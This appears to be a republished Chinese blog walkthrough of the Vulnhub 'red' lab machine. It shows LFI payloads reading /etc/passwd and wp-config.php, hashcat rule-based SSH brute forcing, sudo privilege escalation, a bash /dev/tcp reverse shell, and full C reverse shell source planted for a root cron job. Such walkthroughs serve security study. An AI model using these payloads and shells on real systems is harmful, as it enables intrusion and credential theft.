【渗透测试】Vulnhub靶场之red

admin 2023年1月1日16:02:47评论24 views字数 3552阅读11分50秒阅读模式
【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之red



【渗透测试】Vulnhub靶场之red



欢迎关注暗魂攻防实验室













信息收集

首先扫描一下存活主机,确定目标IP,使用fscan

【渗透测试】Vulnhub靶场之red

发现目标主机IP是192.168.1.6,开放端口只有22和80端口

访问80端口

【渗透测试】Vulnhub靶场之red

发现布局混乱,按照靶场尿性,肯定是要加hosts,通过源代码可知,大多数链接都是指向http://redrocks.win,那么就加192.168.1.6 redrocks.win

【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之red


web渗透

通过页面可知是使用了wordpress框架,先不急,扫描一下看看有没有什么目录,并且在页面中有个提示,是叫你找一下后门文件。

【渗透测试】Vulnhub靶场之red

看到挺多目录的,依次访问,发现feed目录有个注释

<!-- Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway -->

【渗透测试】Vulnhub靶场之red

好吧,英文不好翻译一下

<!-- 还在寻找吗?也许你应该向密斯勒先生寻求帮助,但这并不重要,你无论如何都无法阅读任何内容-->

按照提示谷歌一下Mr. Miessler,找到一个github链接

【渗透测试】Vulnhub靶场之red

好像是一个字典?前面也提示了找后门文件,那肯定是用这个字典去扫描?

【渗透测试】Vulnhub靶场之red

选用的字典应该是web-shells中的backdoor_list.txt,然后进行扫描

【渗透测试】Vulnhub靶场之red

发现有个NetworkFileManagerPHP.php,直接访问状态码是500,可能不是那种用菜刀冰蝎类型直接连接的,那应该是要传递一些参数,可以使用burp爆破功能,不知道为什么,爆破太卡了,半天都还没开始。参数字典选用burp-paramter-names.txt。先看下参数是哪个

【渗透测试】Vulnhub靶场之red

通过判断状态码,key的状态码是200,那么key是参数无疑了,接下来就是去尝试传值了。首先想到的是会不会有目录穿越、文件包含、文件读取等漏洞,就用平常的../../etc/passwd试试,结果还真存在文件读取漏洞

http://192.168.1.6/NetworkFileManagerPHP.php?key=../../../etc/passwd

【渗透测试】Vulnhub靶场之red

那么存在文件读取的话,是不是同时存在文件包含漏洞?可以尝试通过php伪协议去读取该后门源码?

http://192.168.1.6/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

【渗透测试】Vulnhub靶场之red

可以,解码看看

【渗透测试】Vulnhub靶场之red

得出源代码,分析代码就可知如果存在该文件,就包含该文件,不存在就返回到本文件。那么我们可以尝试读取文件,因为该站点是wordpress,那么我们可以读取他的配置文件,也就是wp-config.php

【渗透测试】Vulnhub靶场之red

那么可以知道数据库用户名john,密码是R3v_m4lwh3r3_k1nG!!,因为之前信息收集时候开放了ssh,可以试下用ssh连接,但是连接失败了。此时陷入僵局,,突然发现NetworkFileManagerPHP.php源代码最下面有个注释,也是base编码,解码得到一句话:That password alone won't help you! Hashcat says rules are rules,那么说明密码是需要hashcat+规则碰撞?此时求助kali,做靶场还得是kali才好。

因为源码中信息加密是使用base64的,所以需要base64规则

hashcat --stdout 1.txt -r /usr/share/hashcat/rules/best64.rule > 2.txt

【渗透测试】Vulnhub靶场之red

生成这些字典后,那么就直接ssh爆破了。

哎,密码好像就前面替换了一下大小写

192.168.1.6----SSH----22----john----r3v_m4lwh3r3_k1nG!!

【渗透测试】Vulnhub靶场之red

然后ssh登录,不过是不是靶机问题,不稳定啊,老是掉线,重新连接上去,密码竟然是错的,woc的

【渗透测试】Vulnhub靶场之red

重新爆破了一下,我的乖乖,密码是不断变化的

192.168.1.6----SSH----22----john----R3v_m4lwh3r3_k1nG!!00

【渗透测试】Vulnhub靶场之red

每隔一段时间就会断线并且密码更换,就需要做权限维持了

通过sudo -l ,发现/usr/bin/time这个程序不需要密码就可以进行提权,而且用户是ippsec,应该就是切换到ippsec用户。

【渗透测试】Vulnhub靶场之red

sudo -u ippsec /usr/bin/time /bin/bash

切换用户后记得反弹一个shell,在/dev/shm写个shell文件,测试后发现反弹shell后不掉线。注意一下vi和cat命令调换了,vi变成查看,cat变成编辑

cd /dev/shm
cat shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/x.x.x.x/2000 0>&1'
chmod +x shell.sh
./shell.sh
python3 -c 'import pty;pty.spawn("/bin/bash")'

nc -lvvp 2000

然后看到用户根目录下有个user.txt,cat一下发现进入了编辑功能,这才知道vi和cat命令调换了。

【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之red

user.txt好像没东西

Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha


权限提升

查找ippsec用户权限所拥有的文件,发现有一个git文件

find / -group ippsec -type d 2>/dev/null | grep -v proc.

【渗透测试】Vulnhub靶场之red

cd /var/www/wordpress/.git

ls -al,发现这两个文件是root用户组的。

【渗透测试】Vulnhub靶场之red

rev是可执行文件,还有一个c代码,分别执行和查看

【渗透测试】Vulnhub靶场之red

发现rev是执行C代码的,那么我们就可以替换掉C代码,让rev执行root权限shell反弹,然后我们先生成一个C语言反弹shell的代码:https://www.revshells.com/,这个网站可以在线生成,注意最好使用/bin/bash

rm先删掉原来的c文件

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
  int port = 2001;
  struct sockaddr_in revsockaddr;

  int sockt = socket(AF_INET, SOCK_STREAM, 0);
  revsockaddr.sin_family = AF_INET;      
  revsockaddr.sin_port = htons(port);
  revsockaddr.sin_addr.s_addr = inet_addr("x.x.x.x");

  connect(sockt, (struct sockaddr *) &revsockaddr,
  sizeof(revsockaddr));
  dup2(sockt, 0);
  dup2(sockt, 1);
  dup2(sockt, 2);

  char * const argv[] = {"/bin/bash", NULL};
  execve("/bin/bash", argv, NULL);

  return 0;      
}

这里注意一下,有可能使用cat编辑后发现是只读权限写不了,可以本地写shell后上传到vps上,目标主机用wget方式下载。wget不行的话就只能重装靶场机子了,我也不知道为什么,反正重装了一下就可以了

【渗透测试】Vulnhub靶场之red

下载后vps开启监听,等待反弹shell即可,是自动反弹的不需要手动使用rev,应该是有个计划任务,每隔一段时间去执行。

【渗透测试】Vulnhub靶场之red

反弹后是root用户。本次靶场最大的难度还是怎么快速权限维持了,每个一两分钟他就会断一次ssh,而且密码一直更改,并且时常给你一个干扰的语句弹到shell上

【渗透测试】Vulnhub靶场之red

在root目录有个defense文件夹,把文件夹下面的文件查看一下,这就是经常断线的罪魁祸首,把john的会话进程kill了

【渗透测试】Vulnhub靶场之red

还有就是talk.sh就是干扰语句

【渗透测试】Vulnhub靶场之red

发泄一下


【渗透测试】Vulnhub靶场之red






【渗透测试】Vulnhub靶场之red



【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之Ragnar-lothbrok

【渗透测试】Vulnhub靶场之Gaara

anhunsec_redteam渗透系统简介

ATT&CK实验-T1037-001-引导或登录初始化脚本-登录脚本(windows)


【渗透测试】Vulnhub靶场之red
【渗透测试】Vulnhub靶场之red
微信搜一搜
【渗透测试】Vulnhub靶场之red
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之red

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月1日16:02:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】Vulnhub靶场之redhttps://cn-sec.com/archives/1489404.html

发表评论

匿名网友 填写信息